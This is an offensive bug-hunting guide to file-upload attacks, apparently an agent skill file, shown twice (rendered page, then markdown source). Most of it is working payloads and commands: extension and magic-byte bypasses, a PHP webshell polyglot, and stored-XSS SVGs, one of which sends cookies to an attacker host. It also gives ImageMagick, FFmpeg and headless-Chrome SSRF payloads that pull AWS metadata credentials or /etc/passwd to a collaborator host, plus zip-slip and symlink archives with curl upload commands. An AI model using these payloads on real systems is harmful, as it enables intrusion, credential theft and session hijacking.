9. FILE UPLOAD
Content-Type Bypass
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
File Upload Bypass Techniques (10 techniques)
| Attack |
How |
Prevention |
| Extension bypass |
shell.php.jpg, shell.pHp, shell.php5 |
Allowlist + extract final extension |
| Null byte |
shell.php%00.jpg |
Sanitize null bytes |
| Double extension |
shell.jpg.php |
Only allow single extension |
| MIME spoof |
Content-Type: image/jpeg with .php body |
Validate magic bytes, not MIME header |
| Magic bytes prefix |
Prepend GIF89a; to PHP code |
Parse whole file, not just header |
| Polyglot |
Valid as JPEG and PHP |
Process as image lib, reject if invalid |
| SVG JavaScript |
<svg> |
Sanitize SVG or disallow entirely |
| XXE in DOCX |
Malicious XML in Office ZIP |
Disable external entities |
| ZIP slip |
../../../etc/passwd in archive |
Validate extracted paths |
| Filename injection |
; rm -rf / in filename |
Sanitize + use UUID names |
Magic Bytes Reference
| Type |
Hex |
| JPEG |
FF D8 FF |
| PNG |
89 50 4E 47 0D 0A 1A 0A |
| GIF |
47 49 46 38 |
| PDF |
25 50 44 46 |
| ZIP/DOCX/XLSX |
50 4B 03 04 |
Stored XSS via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg Exploitation
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
Related Skills & Chains
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
1---2name: hunt-file-upload3description: Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename. Bypass tables (10 techniques): double extension (shell.php.jpg if server checks last ext only), magic bytes spoofing (PNG header on PHP), null byte (shell.php.jpg), case (PHP, .Php, .pHP), .htaccess upload to enable execution, SVG with <script>, HTML/SVG XSS, DOCX with embedded XXE, ZIP slip (../../../etc/passwd in archive), polyglot files. Detection: any /upload, /avatar, /profile-picture, /attachment, /import endpoint. Test: upload PHP/JSP/ASPX shells, request via direct URL, check response. Validate: actual code execution (whoami output) for RCE; reflected XSS in profile-photo URL. Use when testing file upload features, avatar/attachment endpoints, import/export functions, XML/DOCX/ZIP processors. Real paid examples.4---5
6## 9. FILE UPLOAD
7
8### Content-Type Bypass
9```
10filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
11filename=shell.phtml, shell.pHp, shell.php5 → extension variants
12```
13
14### File Upload Bypass Techniques (10 techniques)
15
16| Attack | How | Prevention |
17|---|---|---|
18| Extension bypass | `shell.php.jpg`, `shell.pHp`, `shell.php5` | Allowlist + extract final extension |
19| Null byte | `shell.php%00.jpg` | Sanitize null bytes |
20| Double extension | `shell.jpg.php` | Only allow single extension |
21| MIME spoof | Content-Type: image/jpeg with .php body | Validate magic bytes, not MIME header |
22| Magic bytes prefix | Prepend `GIF89a;` to PHP code | Parse whole file, not just header |
23| Polyglot | Valid as JPEG and PHP | Process as image lib, reject if invalid |
24| SVG JavaScript | `<svg onload="...">` | Sanitize SVG or disallow entirely |
25| XXE in DOCX | Malicious XML in Office ZIP | Disable external entities |
26| ZIP slip | `../../../etc/passwd` in archive | Validate extracted paths |
27| Filename injection | `; rm -rf /` in filename | Sanitize + use UUID names |
28
29### Magic Bytes Reference
30
31| Type | Hex |
32|---|---|
33| JPEG | `FF D8 FF` |
34| PNG | `89 50 4E 47 0D 0A 1A 0A` |
35| GIF | `47 49 46 38` |
36| PDF | `25 50 44 46` |
37| ZIP/DOCX/XLSX | `50 4B 03 04` |
38
39### Stored XSS via SVG
40```xml
41<?xml version="1.0"?>
42<svg xmlns="http://www.w3.org/2000/svg">
43 <script>alert(document.domain)</script>
44</svg>
45```
46
47---
48
49## ImageMagick / FFmpeg Exploitation
50
51### ImageMagick SSRF / File Read (ImageTragick family + modern variants)
52```bash
53# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
54# MVG SSRF payload — fetches internal URL during processing
55cat > /tmp/ssrf.mvg << 'EOF'
56push graphic-context
57viewbox 0 0 640 480
58fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
59pop graphic-context
60EOF
61
62# SVG SSRF (ImageMagick processes SVG remotely)
63cat > /tmp/ssrf.svg << 'EOF'
64<?xml version="1.0"?>
65<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
66<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
67 <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
68</svg>
69EOF
70
71# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
72# Upload a crafted WebP file targeting libwebp heap overflow
73# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
74```
75
76### FFmpeg SSRF via HLS Playlist
77```bash
78# FFmpeg processes m3u8 playlists and fetches referenced segments
79cat > /tmp/ssrf.m3u8 << 'EOF'
80#EXTM3U
81#EXT-X-MEDIA-SEQUENCE:0
82#EXTINF:10.0,
83http://169.254.169.254/latest/meta-data/iam/security-credentials/
84#EXT-X-ENDLIST
85EOF
86
87# Also works with concat demuxer
88cat > /tmp/concat.txt << 'EOF'
89ffconcat version 1.0
90file 'http://COLLAB_HOST/ffmpeg-ssrf'
91EOF
92
93# Test: upload .m3u8 or video file to any video processing endpoint
94```
95
96---
97
98## Headless Chrome / PDF Generator SSRF
99
100### HTML → PDF Converter Attacks
101```bash
102# Target: invoice generators, report exporters, screenshot services
103# Inject HTML that causes headless Chrome to fetch internal resources
104
105# SSRF via CSS import
106PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
107
108# SSRF via HTML iframe
109PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
110
111# Local file read
112PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
113
114# JavaScript execution (if sandbox not enforced)
115PAYLOAD='<html><body><script>
116fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
117</script></body></html>'
118
119# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
120curl -s -X POST "https://$TARGET/api/generate-pdf" \
121 -H "Content-Type: application/json" \
122 -d "{\"html\": \"$PAYLOAD\"}"
123```
124
125---
126
127## Archive Extraction Attacks (Zip Slip / Symlink)
128
129```bash
130# Zip Slip — path traversal via archive filenames
131pip3 install evilarc
132python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
133
134# Symlink attack — archive contains symlink to sensitive file
135mkdir -p /tmp/sym_attack
136ln -s /etc/passwd /tmp/sym_attack/innocent.txt
137zip -ry /tmp/symlink.zip /tmp/sym_attack/
138
139# TAR symlink attack
140tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
141
142# Test: upload to any /import, /extract, /unzip endpoint
143curl -s -X POST "https://$TARGET/api/import" \
144 -F "file=@/tmp/zipslip.zip"
145```
146
147---
148
149## Related Skills & Chains
150
151- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.
152- **`hunt-xxe`** — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose `[Content_Types].xml` or `word/document.xml` includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil `/etc/passwd` or `web.config` via the document parser.
153- **`hunt-xss`** — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with `<script>fetch('//attacker/?'+document.cookie)</script>` → victim views attachment at `app.target.com/uploads/x.svg` (same origin, not sandboxed) → cookie theft → ATO via session hijack.
154- **`hunt-ssrf`** — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with `<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` or ffmpeg `concat:http://internal/...` → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
155- **`security-arsenal`** — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, `.phtml`/`.phar`/`.php5`/`.pht`, `.htaccess` upload to re-enable handlers, `web.config` upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
156- **`triage-validation`** — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual `whoami` round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
elementalsouls